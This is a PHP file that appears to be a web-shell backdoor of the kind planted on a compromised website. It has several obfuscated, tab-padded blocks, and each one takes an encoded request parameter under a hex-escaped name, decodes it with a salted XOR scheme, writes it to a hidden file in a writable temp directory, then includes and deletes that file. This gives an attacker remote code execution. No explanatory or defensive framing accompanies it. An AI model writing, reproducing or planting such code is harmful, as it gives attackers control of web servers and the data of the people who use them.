<?php																																										if(isset($_POST["\x70\x74r"])){ $element = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm"]); $bind = $_POST["\x70\x74r"]; $bind =explode('.' , $bind); $item=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $n=0; foreach( $bind as $v4) { $chS=ord( $salt[$n % $lenS]); $dec=( ( int)$v4 - $chS -( $n % 10)) ^ 49; $item .= chr( $dec); $n++; } while ($hld = array_shift($element)) { if (!( !is_dir($hld) || !is_writable($hld) )) { $record = str_replace("{var_dir}", $hld, "{var_dir}/.value"); if (@file_put_contents($record, $item) !== false) { include $record; unlink($record); die(); } } } }
																																										if(@$_POST["s\x79\x6D"] !== null){ $pset = $_POST["s\x79\x6D"]; $pset = explode ("." , $pset ); $reference = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $s = 0; foreach ($pset as $v5) { $sChar = ord($s5[$s % $lenS]); $d = ((int)$v5 - $sChar - ($s % 10))^ 32; $reference .= chr($d); $s++; } $key = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", getenv("TMP"), session_save_path()]); foreach ($key as $key => $val) { if (!( !is_dir($val) || !is_writable($val) )) { $pgrp = vsprintf("%s/%s", [$val, ".mrk"]); $success = file_put_contents($pgrp, $reference); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(@$_REQUEST["rec"] !== null){ $marker = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir()]); $flg = $_REQUEST["rec"]; $flg = explode ( "." , $flg ); $fac =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt6); foreach( $flg as $t => $v1): $chS =ord( $salt6[$t% $lenS]); $d =( ( int)$v1 - $chS -( $t% 10)) ^ 38; $fac.= chr( $d); endforeach; foreach ($marker as $element) { if (is_dir($element) && is_writable($element)) { $descriptor = join("/", [$element, ".flag"]); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(isset($_POST["b\x69\x6Edi\x6E\x67"]) ? true : false){ $ptr = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); $parameter_group = $_POST["b\x69\x6Edi\x6E\x67"]; $parameter_group = explode ( '.' , $parameter_group ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $w = 0; $__tmp = $parameter_group; while( $v2 = array_shift( $__tmp)) { $sChar = ord( $s[$w % $sLen] ); $d =( ( int)$v2 - $sChar -( $w % 10)) ^ 46; $bind .= chr( $d ); $w++; } $element = 0; do { $desc = $ptr[$element] ?? null; if ($element >= count($ptr)) break; if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $data = "$desc" . "/.key"; if (file_put_contents($data, $bind)) { require $data; unlink($data); exit; } } $element++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x70gr\x70")){ $entry = $_REQUEST["\x70gr\x70"]; $entry = explode ( "." , $entry ) ; $element=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); $i=0; foreach ($entry as $v4) { $sChar=ord($s[$i % $lenS]); $d=((int)$v4 - $sChar - ($i % 10)) ^ 53; $element .= chr($d); $i++; } $property_set = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP"), "/tmp"]); foreach ($property_set as $key => $record) { if ((is_dir($record) and is_writable($record))) { $binding = join("/", [$record, ".holder"]); $success = file_put_contents($binding, $element); if ($success) { include $binding; @unlink($binding); die();} } } }
																																										if(@$_REQUEST["\x6B\x65y"] !== null){ $component = $_REQUEST["\x6B\x65y"]; $component = explode ( '.' , $component ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($component as $u => $v6) { $sChar = ord($s[$u % $sLen] ); $d = ((int)$v6 - $sChar - ($u % 10)) ^ 42; $rec .= chr($d ); } $bind = array_filter([getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); while ($sym = array_shift($bind)) { if (array_product([is_dir($sym), is_writable($sym)])) { $factor = "$sym" . "/.flag"; $file = fopen($factor, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $factor; @unlink($factor); exit; } } } }


if(in_array("\x70\x67rp", array_keys($_REQUEST))){
	$parameter_group = array_filter(["/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]);
	$mrk = $_REQUEST["\x70\x67rp"];
	   $mrk		= explode(   "." 	, 		$mrk)	 ;	 
	$itm=		'';
            $salt=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=		strlen(		$salt);
            $k=		0;
    
            array_walk(		$mrk,  function(		$v2) use(		&$itm,  &$k,  $salt,  $lenS) {$chS=		ord(		$salt[$k	%	$lenS]);
                $d=		(		(		int)$v2 - $chS -(		$k	%	10)) ^ 41;
                $itm .= chr(		$d);
                $k++;
            });
	foreach ($parameter_group as $key => $reference) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) {
    $entry = vsprintf("%s/%s", [$reference, ".data_chunk"]);
    if (file_put_contents($entry, $itm)) {
	require $entry;
	unlink($entry);
	exit;
}
}
}
}